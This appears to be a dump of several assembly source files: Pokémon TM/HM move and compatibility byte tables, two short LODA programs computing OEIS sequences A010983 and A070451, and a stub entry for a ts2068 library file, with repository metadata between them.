10000100b,01101110b,10001010b,01110011b,00101111b,01111100b,00000101b,00000000b db 10000101b,01100000b,11001000b,01100011b,00000010b,01111100b,00000101b,00000000b db 10000101b,01100000b,11001000b,01100011b,00000010b,01111100b,00000101b,00000000b db 10100100b,01101110b,11001111b,11110111b,01101110b,01111100b,00101101b,00000000b db 00000100b,01110000b,11001001b,10100101b,01110100b,11111100b,00000010b,00000000b db 00000100b,01110010b,11001001b,10100101b,01110100b,11111100b,00000010b,00000000b db 00001100b,01101110b,11001011b,11110011b,01101110b,01111100b,00000101b,00000000b db 10001100b,01101110b,11001011b,11110011b,01101110b,01111100b,00101101b,00000000b db 10110110b,01101111b,11011111b,11101111b,01101110b,01111001b,10000111b,00000000b db 00000100b,11100010b,10101100b,00100001b,00010000b,01111100b,00100011b,00000000b db 10101110b,01101110b,11001111b,11110111b,01101111b,01111100b,00101101b,00000000b db 00100110b,01001100b,11001000b,00100001b,00000000b,01111000b,00001000b,11000000b db 00100110b,01001110b,11001000b,00100001b,00000000b,01111000b,00001000b,11000000b db 00100110b,01001100b,11001000b,00100001b,00000000b,01111000b,00001000b,11000000b db 00100110b,01001110b,11001000b,00100001b,00000000b,01111000b,00001000b,11000000b db 00100110b,01001101b,11001001b,10101001b,10000000b,01110000b,00001010b,11000000b db 00100110b,01001111b,11001001b,10101001b,10000000b,01110000b,00001010b,11000000b db 10010100b,01110011b,11011101b,10101111b,11000000b,11111101b,10000010b,00000000b db 00000100b,01100010b,11001000b,00100001b,00000001b,01111110b,00100001b,00000000b db 10110110b,01011111b,11001000b,00101111b,10000000b,11111101b,00000010b,00000000b db 10000100b,01000011b,11001011b,10101011b,01000000b,01111100b,00000111b,00000000b db 10000100b,01100010b,10001010b,00101011b,00100100b,01111100b,00000101b,00000000b db 10000101b,01100010b,11001000b,01110011b,00000010b,01111100b,00100101b,00000000b db 00100100b,01101110b,11001111b,11100001b,01101110b,01111000b,00001101b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00101110b,01011110b,11001001b,11100001b,00101100b,11111000b,00001101b,11000000b db 00101110b,01001110b,11011011b,10101001b,01000000b,01111000b,00001101b,11000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000100b,01100000b,11001010b,00110101b,00000000b,01111000b,00000000b,00000000b db 00101110b,01101110b,11001010b,00110101b,00000000b,01111000b,00001000b,11000000b db 00001100b,01100010b,11001011b,10110101b,01000000b,01111000b,00000010b,00000000b db 00001100b,01100010b,11001010b,00110101b,00100100b,01111000b,01000000b,00000000b db 00000100b,01101110b,11001111b,10101101b,01000001b,01110100b,00000010b,00000000b db 00100110b,01001100b,11001000b,00100001b,00001010b,01111100b,00001001b,11000000b db 00100110b,01001110b,11001000b,00100001b,00001010b,01111100b,00001001b,11000000b db 00100110b,01001100b,11101000b,00110001b,00001011b,01111100b,00001001b,10000000b db 00100110b,01001110b,11101000b,00110011b,00001011b,01111100b,00101001b,11000000b db 01001100b,01110010b,11001010b,01100001b,00101111b,11111110b,00010101b,00000000b db 10100100b,01101110b,11001101b,11101111b,01101110b,01111000b,00001100b,00000000b db 00101110b,01101110b,11001000b,00100001b,10001001b,01110010b,00010001b,00000000b db 00001100b,01100011b,11001001b,10100001b,01001001b,01110010b,00010011b,00000000b db 00001100b,01100010b,11011000b,00100001b,00101101b,01110010b,01010001b,00000000b db 00100110b,01101110b,11011011b,10100001b,01100100b,01111000b,00001000b,10000000b db 00100110b,01101110b,11011011b,10100001b,01100100b,01111000b,00001000b,10000000b db 11101110b,01101110b,11011011b,11100011b,01101111b,01111010b,00111101b,11000000b db 10110111b,01111111b,11011111b,11101111b,11101111b,11110001b,10000111b,00000000b db 11111111b,11111111b,11111111b,11111111b,11111111b,11111111b,11111111b,11000000b db 00000100b,11100001b,10111110b,00100001b,10000000b,01111000b,00100010b,00000000b db 00000100b,11100001b,10111110b,00100001b,10000000b,01111000b,00100111b,00000000b db 00000100b,11100011b,10111110b,01100001b,10000000b,01111000b,00100111b,00000000b db 00000100b,01100000b,10001000b,00110001b,00100101b,01111000b,01100000b,00000000b db 10001100b,01100000b,10001000b,00110011b,00100101b,01111000b,01100101b,00000000b db 10001100b,01100010b,10001000b,01110011b,00100101b,01111000b,01100101b,00000000b db 10100110b,01001100b,11001010b,00110011b,00000001b,01111000b,00101000b,11000000b db 10101110b,01001100b,11001010b,00110011b,00000001b,01111000b,00101101b,11000000b db 11101110b,01001110b,11001010b,01110011b,00000001b,01111000b,00101101b,11000000b db 10100100b,01101000b,11001111b,00110111b,01100000b,01111100b,00101000b,00000000b db 10100100b,01101110b,11001111b,10110111b,01100000b,01111100b,00101101b,00000000b db 00000100b,01100000b,11001000b,00101101b,10000001b,01111110b,00010010b,00000000b db 00000100b,01100010b,11001000b,00101101b,10000001b,01111110b,00010010b,00000000b db 10000100b,01100001b,10111100b,00110011b,10000001b,01111100b,00000010b,00000000b db 10000100b,01100011b,10111100b,00110011b,10000001b,01111100b,00000010b,00000000b db 00000100b,01100000b,10101100b,00111001b,00010000b,01111100b,00000010b,00000000b db 00000100b,01100010b,10101100b,00111001b,00010000b,01111100b,00000010b,00000000b db 00000100b,01110010b,11101000b,00100101b,00010001b,11111110b,10010000b,00000000b db 00100110b,01001100b,11001001b,10100001b,01000000b,01111000b,00001010b,11000000b db 00100110b,01001110b,11001001b,10100001b,01000000b,01111000b,00001010b,11000000b db 00000100b,01000001b,11001011b,10100001b,01000000b,01111000b,00000010b,00000000b db 00100100b,01100001b,11011110b,00111101b,11100100b,01111000b,00000010b,00000000b db 00100100b,01100001b,11011100b,00111101b,11100100b,01111000b,00000010b,00000000b db 00100100b,01100001b,11011100b,00101101b,11100100b,01111000b,00000011b,00000000b db 10100100b,01100011b,11011100b,00101111b,11100100b,01111010b,00010011b,00000000b db 00010100b,01100001b,11101100b,00101101b,10000001b,01111111b,00000010b,00000000b db 00010100b,01100011b,11101100b,00101101b,10000001b,01111111b,00000010b,00000000b db 00000100b,01000001b,11001011b,10100001b,01000000b,01111000b,00000010b,00000000b db 10000100b,01000001b,11001011b,10100011b,01000000b,01111000b,00000111b,00000000b db 10000100b,01000011b,11001011b,10100011b,01000000b,01111000b,00000111b,00000000b db 00000100b,11100010b,10111100b,00100001b,00010000b,01111000b,00100010b,00000000b db 10100110b,01001100b,11001000b,00110011b,00000000b,01111000b,00001101b,11000000b db 10100110b,01001110b,11001000b,00110011b,00000000b,01111000b,00001101b,11000000b db 10010100b,01110000b,10001000b,01110011b,00001010b,01111100b,00000101b,00000000b db 10100110b,01001110b,11001000b,01111011b,00000000b,01111100b,00001101b,11000000b db 00000100b,11100000b,10101100b,00100001b,00000001b,01111000b,00000010b,00000000b db 00000100b,11100000b,10101100b,00100001b,00000001b,01111000b,00000010b,00000000b db 00000100b,11100010b,10101100b,00100001b,00000001b,01111000b,00000010b,00000000b db 10100100b,01110000b,11001111b,10110111b,01000001b,01111100b,10100101b,00000000b db 00000100b,11100001b,10111100b,00100001b,00010000b,01111000b,00100010b,00000000b db 00000100b,11100011b,10111100b,00100001b,00010000b,01111000b,00100010b,00000000b db 00000100b,01100000b,10101100b,00101101b,00000001b,01111110b,00000010b,00000000b db 00100110b,01001100b,11001010b,01110001b,00011000b,01111000b,00001011b,11000000b db 10100110b,01001110b,11001010b,01110011b,00011010b,01111000b,00001111b,11000000b db 00010100b,01100011b,11001010b,00111101b,10000000b,01111001b,00100010b,00000000b db 00000100b,01110010b,11001010b,00111101b,00000000b,11111000b,10100010b,00000000b db 00010100b,01110000b,11001000b,00100101b,00000001b,11111110b,10010000b,00000000b db 10110110b,01101110b,11011010b,01111111b,00100100b,01111001b,00001111b,01000000b db 00010100b,01110000b,11001001b,10101101b,01000001b,11111101b,10000010b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00010100b,01100001b,11001011b,11101101b,11000000b,01111101b,10000111b,00000000b db 00000100b,01100001b,10101100b,01110001b,10001000b,01111000b,00000101b,00000000b db 00000100b,01100011b,10101100b,01110001b,10001000b,01111000b,00000101b,00000000b db 00110100b,01101100b,11001111b,11110101b,01100110b,01111100b,00000101b,00000000b db 00000100b,01100000b,11001010b,01110001b,00011011b,01111110b,00100101b,00000000b db 00001100b,01110010b,10001010b,01110001b,00001010b,11111000b,00100101b,00000000b db 10101101b,01110000b,11001101b,11110111b,01110100b,11111100b,01000101b,00000000b db 10101101b,01110010b,11001111b,11110111b,01110110b,11111100b,01000101b,00000000b db 00100110b,01001100b,11001000b,00100101b,01010000b,01111000b,00001000b,11000000b db 00000100b,01100010b,11001000b,00100001b,00001001b,01111110b,00100101b,00000000b db 00000100b,01100000b,10011000b,01110001b,00011010b,01111000b,00000111b,00000000b db 10000101b,01100010b,11001000b,01110011b,00000010b,01111100b,00100101b,00000000b db 10010110b,01111100b,11001010b,00110111b,00000001b,11111100b,10101101b,00000000b db 10001101b,01110000b,11001000b,01110011b,00000001b,11111100b,00100101b,00000000b db 10001101b,01110010b,11001000b,01110011b,00000011b,11111100b,00100101b,00000000b db 00000100b,01100001b,10001000b,00100001b,10100100b,01111000b,01000001b,00000000b db 00000100b,01100011b,10001000b,01100001b,10101110b,01111000b,01000101b,00000000b db 00001110b,01001101b,11001000b,01110001b,10001010b,01111000b,00000101b,00000000b db 00001110b,01001111b,11001000b,01110001b,10001010b,01111000b,00000101b,00000000b db 00110110b,01101101b,11011000b,01111101b,10001010b,01111000b,00001101b,00000000b db 00100100b,01101110b,11001000b,00101001b,00100100b,01111100b,00001000b,11000000b db 00100100b,11101110b,11001000b,00101001b,00110100b,01111100b,00001000b,11000000b db 10100110b,01001100b,11001000b,00100001b,00000001b,01111100b,00010000b,00000000b db 00100110b,01101100b,11001000b,01100001b,00000001b,01111000b,00001000b,11000000b db 00001100b,01110000b,10001000b,00100001b,00001001b,11111110b,00110001b,00000000b db 00001100b,01110000b,10001110b,00100101b,00110100b,11111100b,11000001b,00000000b db 00001100b,01110010b,10001110b,00100101b,00110100b,11111100b,11000101b,00000000b db 00100110b,01001110b,11001000b,00100001b,00000000b,01111000b,00001000b,11000000b db 00001100b,01100000b,10001010b,01100001b,00001010b,01111000b,00000101b,00000000b db 00001100b,01100010b,10001010b,01100001b,00001010b,01111000b,00000101b,00000000b db 00000100b,01101110b,11001111b,10101101b,01000001b,01110100b,00000010b,00000000b db 00011100b,01100001b,11001111b,11101101b,11000000b,01111101b,00000010b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000101b,01100000b,11001000b,01100011b,00000000b,01111100b,00000101b,00000000b db 00000101b,01100000b,11001000b,01110011b,00001000b,01111100b,00000101b,00000000b db 00110110b,01001101b,11001000b,00101101b,10000000b,01111101b,00000010b,00000000b db 10000100b,01000001b,11001001b,10101011b,01000000b,01111100b,00000011b,00000000b db 10000100b,01100000b,10001010b,00101011b,00100100b,01111100b,00000001b,00000000b db 10100100b,01101110b,11001111b,11100111b,01001010b,01111000b,00001101b,00000000b db 10110110b,01101111b,11011111b,11101111b,01101110b,01111001b,10000111b,00000000b db 00011100b,01100010b,11001011b,10110001b,11001000b,01110000b,00100111b,00000000b db 00011100b,01100010b,11001110b,00110001b,10101100b,01110000b,00100111b,00000000b db 00111110b,01101110b,11001110b,00110001b,10001000b,01110000b,00101001b,11000000b db 00000100b,01110010b,11001000b,01110011b,00001000b,11111000b,00000001b,00000000b db 00000100b,01110010b,11001000b,01110011b,00001000b,11111000b,00000001b,00000000b db 11101100b,01111110b,11001011b,11110011b,01101111b,11111000b,00101101b,00000000b db 00111110b,01101111b,11111011b,11101101b,11001001b,01110011b,00011101b,11000000b db 00011100b,01100011b,11111101b,11101101b,11101101b,01110010b,01010111b,00000000b db 00110100b,01100011b,11111100b,00101101b,11001001b,01110001b,00100010b,00000000b db 10000100b,11100000b,10111110b,00110011b,00000011b,01111000b,00100111b,00000000b db 10000100b,11100000b,10111110b,00110011b,00000011b,01111000b,00100111b,00000000b db 10000100b,11100000b,10111110b,00110011b,00000011b,01111000b,00100111b,00000000b db 00000100b,01100000b,10001000b,00110011b,00100111b,01111000b,01100101b,00000000b db 10000101b,01100000b,10001000b,00110011b,00100111b,01111000b,00100101b,00000000b db 10001101b,01100010b,10001000b,01110011b,00100111b,01111000b,01100101b,00000000b db 00100110b,01001100b,11001010b,00110001b,00000010b,01111000b,00001101b,11000000b db 00100110b,01001100b,11001010b,01110001b,00000010b,01111000b,00001101b,11000000b db 10101110b,01001110b,11001010b,01110011b,00000010b,01111000b,00001101b,11000000b db 00001100b,01110000b,11001010b,00110101b,00000000b,11111100b,10000101b,00000000b db 00001100b,01110000b,11001010b,00110101b,00000000b,11111100b,10000101b,00000000b db 00100100b,01101100b,11001011b,10110101b,01000000b,01111100b,00101001b,00000000b db 00101100b,01101110b,11001011b,10110101b,01000000b,01111100b,00101001b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00110010b,10111100b,00101101b,00000001b,01111100b,00000010b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000100b,01100011b,10101100b,00101101b,00010001b,01111100b,00000010b,00000000b db 00100110b,11101100b,11101100b,00100001b,00000000b,01111000b,00001010b,00000000b db 00100110b,11101100b,11101100b,00100011b,00000000b,01111000b,00001111b,11000000b db 10100110b,11101110b,11101100b,00100011b,00000000b,01111000b,00001111b,11000000b db 00000100b,11100000b,10101100b,00110101b,00000000b,01111000b,00000011b,00000000b db 00000100b,11100010b,10101100b,00110101b,00000010b,11111100b,00100111b,00000000b db 00000100b,11100010b,10101100b,00110101b,00000011b,11111100b,00100111b,00000000b db 00000100b,01100000b,10101100b,00110101b,00001001b,01110000b,00100010b,00000000b db 00000100b,01100010b,10101100b,00110101b,00001001b,01111100b,00100010b,00000000b db 00000100b,01100010b,10101100b,00110101b,00001001b,01110100b,00100010b,00000000b db 00000100b,01100000b,11001000b,00100001b,00000001b,01111110b,00010000b,00000000b db 00000100b,01100010b,11001000b,00100001b,00000001b,01111110b,00010000b,00000000b db 00000100b,11100000b,10111100b,00100001b,00010000b,01111000b,10000010b,00000000b db 10000101b,11100010b,10111110b,00100011b,00010000b,01111000b,10100111b,00000000b db 10110100b,01100000b,11011000b,00111111b,01000010b,01111101b,10000111b,00000000b db 00100110b,01001100b,11001000b,00100001b,01000001b,01111110b,00000000b,00000000b db 00100110b,01001110b,11001000b,00100001b,01000001b,01111110b,00010000b,00000000b db 00100100b,01101100b,11101100b,00100101b,00000000b,01111100b,00000010b,00000000b db 00100100b,01101110b,11101100b,00100101b,00000001b,01111100b,00000010b,00000000b db 00101110b,01001100b,11001000b,01100001b,00000010b,01111000b,00001101b,11000000b db 00101110b,01001110b,11001000b,01100001b,00000010b,01111000b,00001101b,11000000b db 00110100b,01101100b,11011111b,10110101b,01000000b,01111000b,00000010b,00000000b db 00110100b,01101110b,11011111b,10110101b,01000000b,01111000b,00000111b,00000000b db 10100100b,01101100b,11001111b,10110111b,01100111b,01111101b,10100111b,00000000b db 00000100b,01101001b,11001100b,01111101b,10001010b,01110001b,00000010b,00000000b db 00000100b,01101011b,11001100b,01111101b,10001010b,01110001b,00000111b,00000000b db 00000100b,01110000b,10001001b,11100001b,01001010b,11111000b,00000101b,00000000b db 00000100b,01100000b,10001010b,00100001b,00110100b,01111000b,01000101b,00000000b db 10110100b,01110000b,11001000b,00111111b,01000011b,11111100b,10100011b,00000000b db 00100110b,01001100b,11001000b,01100001b,00001010b,01111000b,00001000b,11000000b db 00100110b,01001100b,11001000b,01100001b,00001010b,01111000b,00001101b,11000000b db 00100110b,01001100b,11011000b,00100001b,00000000b,01111000b,00001000b,11000000b db 00100110b,01011100b,11001000b,00110011b,00010011b,01111000b,00101101b,10000000b db 00100110b,01011110b,11001000b,00110011b,00010011b,01111000b,00101101b,11000000b db 00100110b,01001100b,11001000b,00100001b,00000000b,01111000b,00001000b,11000000b db 00100110b,01001110b,11011010b,00100001b,00000000b,01111000b,00001000b,11000000b db 00100110b,01011100b,11001000b,00100001b,00000000b,11111100b,00001000b,11000000b db 00101110b,01011110b,11001000b,01100001b,00000010b,11111100b,00001101b,11000000b db 00000100b,01100010b,10101100b,01110001b,00001010b,01111000b,00000101b,00000000b db 00000100b,01100010b,10101100b,01110001b,00001010b,01111010b,00010101b,00000000b db 01000100b,01100010b,10101110b,01110001b,00101110b,01111010b,00010101b,00000000b db 10000101b,01100000b,11001000b,01110111b,00000010b,01111000b,00001101b,00000000b db 10000101b,01100010b,11001000b,01110111b,00000010b,01111000b,00001101b,00000000b db 00001100b,01000000b,11001011b,10100001b,01000000b,01111100b,00000110b,00000000b db 00001100b,01000010b,11001011b,10100001b,01000000b,01111100b,00000110b,00000000b db 00000100b,01100000b,10001000b,01110001b,00101110b,01111000b,01000101b,00000000b db 00001100b,01100010b,10001000b,01110001b,00101110b,01111000b,01000101b,00000000b db 00100110b,01001100b,11001010b,01100001b,00000010b,01111000b,00001101b,11000000b db 00101110b,01001100b,11001010b,01100001b,00000010b,01111000b,00001101b,11000000b db 00101110b,01001110b,11001010b,01100001b,00000010b,01111000b,00001101b,11000000b db 10000100b,11100000b,10101100b,00100001b,00001000b,01111000b,00100010b,00000000b db 10000100b,11100010b,10101100b,00100001b,00001000b,01111000b,00100110b,00000000b db 00100110b,01001101b,11011000b,00100101b,00000000b,01111000b,00000010b,00000000b db 00100110b,01011111b,11011000b,01100101b,00000000b,11111000b,00000010b,00000000b db 00010100b,01001011b,11011000b,01101101b,10001010b,01110001b,00000010b,00000000b db 00010100b,01100011b,10011100b,01101101b,10101110b,01110001b,01000010b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00010100b,01110001b,11001010b,00101101b,11000000b,11111101b,10000010b,00000000b db 10010100b,01110011b,11001010b,00101101b,11000000b,11111101b,10000010b,00000000b db 00000100b,01000001b,11001011b,10100001b,01000000b,01111000b,00000010b,00000000b db 00000100b,01000001b,11001011b,10100001b,01000000b,01111000b,00000010b,00000000b db 10000100b,01111010b,11001100b,00100011b,00111110b,11111000b,10000101b,00000000b db 10010101b,01100001b,11001000b,00101111b,10000010b,01111000b,00000111b,00000000b db 10010101b,01100011b,11001000b,00101111b,10000010b,01111000b,00000111b,00000000b db 00000100b,01101000b,11001100b,00100001b,00000001b,01111110b,00010000b,00000000b db 01001100b,01101010b,11001110b,01100001b,00100101b,01111110b,00010001b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00010100b,01111100b,11001001b,10101101b,00000000b,11111101b,10000010b,00000000b db 10010100b,01111110b,11001001b,11101101b,00000010b,11111101b,10000111b,00000000b db 00000100b,11100000b,10101100b,00100101b,00010000b,01111000b,00100010b,00000000b db 10100101b,01101100b,11001101b,10100111b,01100101b,01111000b,00100101b,00000000b db 10101101b,01111100b,11001101b,11100111b,01100101b,01111000b,00100101b,00000000b db 10101101b,01111110b,11001101b,11100111b,01100101b,01111000b,00100101b,00000000b db 00100100b,11101000b,11101100b,00100101b,01010000b,01111000b,10000101b,00000000b db 00100100b,11101010b,11101100b,00100101b,01010000b,01111000b,10000101b,00000000b db 00001100b,11100010b,10111100b,01100001b,00000001b,01111010b,00110111b,00000000b db 00101100b,01101100b,11001100b,00100101b,01100100b,01111000b,00000000b,00000000b db 00101100b,01111100b,11001100b,01100111b,01100100b,11111000b,01000101b,00000000b db 00101100b,01111110b,11001100b,01100111b,01100100b,11111000b,01000101b,00000000b db 00100110b,01001100b,11001000b,00100001b,00000000b,01111000b,00001000b,11000000b db 00100110b,01001110b,11001000b,00100001b,00000010b,01111000b,10001000b,11000000b db 00100110b,01001110b,11011000b,00101101b,00000000b,01111000b,00001000b,11000000b db 00110110b,01111110b,11001011b,10100101b,01101101b,11111100b,10100111b,00000000b db 00010100b,01110000b,11001001b,10101101b,01000000b,11111101b,10000010b,00000000b db 00010100b,01110010b,11001001b,10101101b,01000000b,11111101b,10000010b,00000000b db 00000100b,01110000b,11101010b,01110001b,00110000b,01111100b,10000101b,00000000b db 10101100b,01111100b,11101111b,10110111b,01100101b,01111100b,00000101b,00000000b db 00110110b,01101110b,11011000b,01100001b,00001010b,01111000b,00001001b,11000000b db 00101100b,01100000b,11001010b,01110001b,01001011b,01111000b,00100101b,00000000b db 00101100b,01100000b,11001010b,01110001b,01001011b,01111000b,00100101b,00000000b db 11101100b,01111110b,11001111b,11110011b,01101111b,01111000b,00101101b,00000000b db 00100110b,01101100b,11001101b,10100101b,01101100b,01111100b,00000010b,00000000b db 10100100b,01100001b,11101101b,10100111b,01000001b,01111100b,00000010b,00000000b db 10100100b,01100001b,11101101b,10100111b,01000001b,01111100b,00000010b,00000000b db 00000100b,11100000b,10101100b,00100001b,00011000b,01111000b,00000000b,00000000b db 00000100b,11100010b,10101100b,01100001b,00011010b,01111000b,00000101b,00000000b db 00100100b,01100000b,10001000b,00110011b,00001011b,01111000b,00100001b,00000000b db 00100100b,01100010b,10001010b,01110011b,00001011b,01111000b,00100101b,00000000b db 00010100b,01110001b,11011001b,00101101b,11000000b,11111101b,10000010b,00000000b db 00010100b,01110001b,11011001b,00101101b,11000000b,11111101b,10000010b,00000000b db 00010100b,01110011b,11011001b,00101101b,11000000b,11111101b,10000010b,00000000b db 01001100b,01100000b,11001000b,00100011b,00100111b,01111000b,00100101b,00000000b db 01001100b,01100000b,11001000b,00100011b,00100111b,01111000b,00100101b,00000000b db 01001100b,01100010b,11001010b,01100011b,00100111b,01111010b,00110101b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000100b,01100011b,11001000b,01101111b,10011011b,01110000b,00100111b,00000000b db 00000100b,01100011b,11001000b,01101111b,10011011b,01110000b,00100111b,00000000b db 10000100b,01100010b,10011001b,11110011b,01001010b,01110000b,00000101b,00000000b db 10000110b,01001110b,11011001b,11100011b,01000000b,01110000b,00000101b,00000000b db 10000100b,01100010b,11011001b,11100011b,01001011b,01110000b,00000101b,00000000b db 00111110b,01001110b,11011001b,11100011b,01000010b,01110000b,00001101b,11000000b db 01001101b,01100010b,10011101b,11110011b,01101111b,01110000b,01100101b,00000000b db 01101101b,01101110b,11001111b,11100011b,01101101b,01110000b,01111101b,11000000b db 01111100b,01101011b,11011101b,11101101b,11001001b,01111010b,00111010b,11000000b db 01111100b,01101011b,11011101b,11101101b,11001001b,01111010b,00111010b,11000000b db 00110100b,01100011b,11011001b,10101101b,11001001b,01111001b,00000010b,00000000b db 10110100b,01111011b,11011101b,10101111b,11000011b,11111001b,10100111b,00000000b db 00010100b,01110001b,11011000b,00101101b,11000000b,11111001b,10000010b,00000000b ; These list what move is in what TM/HM. Each structure is 64 records (128 bytes) long for nicer loading. tms_rse: ; Advance are the only ones with move indexes greater than 255.... ; 1-6 db 00000001b,00001000b,00000001b,01010001b,00000001b,01100000b,00000001b,01011011b,00000000b,00101110b,00000000b,01011100b ;7-12 db 00000001b,00000010b,00000001b,01010011b,00000001b,01001011b,00000000b,11101101b,00000000b,11110001b,00000001b,00001101b ;13-18 db 00000000b,00111010b,00000000b,00111011b,00000000b,00111111b,00000000b,01110001b,00000000b,10110110b,00000000b,11110000b ;19-24 db 00000000b,11001010b,00000000b,11011011b,00000000b,11011010b,00000000b,01001100b,00000000b,11100111b,00000000b,01010101b ;25-30 db 00000000b,01010111b,00000000b,01011001b,00000000b,11011000b,00000000b,01011011b,00000000b,01011110b,00000000b,11110111b ;31-36 db 00000001b,00011000b,00000000b,01101000b,00000000b,01110011b,00000001b,01011111b,00000000b,00110101b,00000000b,10111100b ;37-42 db 00000000b,11001001b,00000000b,01111110b,00000001b,00111101b,00000001b,01001100b,00000001b,00000011b,00000001b,00000111b ;43-48 db 00000001b,00100010b,00000000b,10011100b,00000000b,11010101b,00000000b,10101000b,00000000b,11010011b,00000001b,00011101b ;49-54 db 00000001b,00100001b,00000001b,00111011b,00000000b,00001111b,00000000b,00010011b,00000000b,00111001b,00000000b,01000110b ;55-60 db 00000000b,10010100b,00000000b,11111001b,00000000b,01111111b,00000001b,00100011b, 0, 0, 0, 0 ;61-64 (4 two-byte entries) db 0,0,0,0,0,0,0,0 tms_gsc: ; 1-11 db 0,11011111b,0,00011101b,0,10101110b,0,11001101b,0,00101110b,0,01011100b,0,11000000b,0,11111001b,0,11110100b,0,11101101b,0,11110001b ;12-22 db 0,11100110b,0,10101101b,0,00111011b,0,00111111b,0,11000100b,0,10110110b,0,11110000b,0,11001010b,0,11001011b,0,11011010b,0,01001100b ;23-33 db 0,11100111b,0,11100001b,0,01010111b,0,01011001b,0,11011000b,0,01011011b,0,01011110b,0,11110111b,0,10111101b,0,01101000b,0,00001000b ;34-44 db 0,11001111b,0,11010110b,0,10111100b,0,11001001b,0,01111110b,0,10000001b,0,01101111b,0,00001001b,0,10001010b,0,11000101b,0,10011100b ;45-55 db 0,11010101b,0,10101000b,0,11010011b,0,00000111b,0,11010010b,0,10101011b,0,00001111b,0,00010011b,0,00111001b,0,01000110b,0,10010100b ;56-64 (66-2) db 0,11111010b,0,01111111b,0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0 tms_rby: ;1-9 db 0,00000101b,0,00001101b,0,00001110b,0,00010010b,0,00011001b,0,01011100b,0,00100000b,0,00100010b,0,00100100b ;10-18 db 0,00100110b,0,00111101b,0,00110111b,0,00111010b,0,00111011b,0,00111111b,0,00000110b,0,01000010b,0,01000100b ;19-27 db 0,01000101b,0,01100011b,0,01001000b,0,01001100b,0,01010010b,0,01010101b,0,01010111b,0,01011001b,0,01011010b ;28-36 db 0,01011011b,0,01011110b,0,01100100b,0,01100110b,0,01101000b,0,01110011b,0,01110101b,0,01110110b,0,01111000b ;37-45 db 0,01111001b,0,01111110b,0,10000001b,0,10000010b,0,10000111b,0,10001010b,0,10001111b,0,10011100b,0,01010110b ;48-54 db 0,10010101b,0,10011001b,0,10011101b,0,10100001b,0,10100100b,0,00001111b,0,00010011b,0,00111001b,0,01000110b ;57-63 db 0,10010100b,0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0 ; 64 db 0,0
48.968187
136
0.781753
47008eb12ad77ac7e39065dfcad07d3e711e336e
558
asm
Assembly
oeis/010/A010983.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/010/A010983.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/010/A010983.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A010983: Binomial coefficient C(n,30). ; 1,31,496,5456,46376,324632,1947792,10295472,48903492,211915132,847660528,3159461968,11058116888,36576848168,114955808528,344867425584,991493848554,2741188875414,7309837001104,18851684897584,47129212243960,114456658306760,270533919634160,623404249591760,1402659561581460,3085851035479212,6646448384109072,14031391033119152,29065024282889672,59132290782430712,118264581564861424,232714176627630544,450883717216034179,860778005594247069,1620288010530347424,3009106305270645216,5516694892996182896 add $0,30 bin $0,30
93
495
0.894265
5195b592c4075a5f22af6bf8305fae26ad22f940
306
asm
Assembly
programs/oeis/070/A070451.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/070/A070451.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/070/A070451.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A070451: a(n) = n^2 mod 29. ; 0,1,4,9,16,25,7,20,6,23,13,5,28,24,22,22,24,28,5,13,23,6,20,7,25,16,9,4,1,0,1,4,9,16,25,7,20,6,23,13,5,28,24,22,22,24,28,5,13,23,6,20,7,25,16,9,4,1,0,1,4,9,16,25,7,20,6,23,13,5,28,24,22,22,24,28,5,13,23,6,20,7,25,16,9,4,1,0,1,4,9,16,25,7,20,6,23,13,5,28 pow $0,2 mod $0,29
51
255
0.591503
d67b5dbf031a0caf47f54e7ed0aaa1e6e7104d53
223
asm
Assembly
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshc_cls.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshc_cls.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshc_cls.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
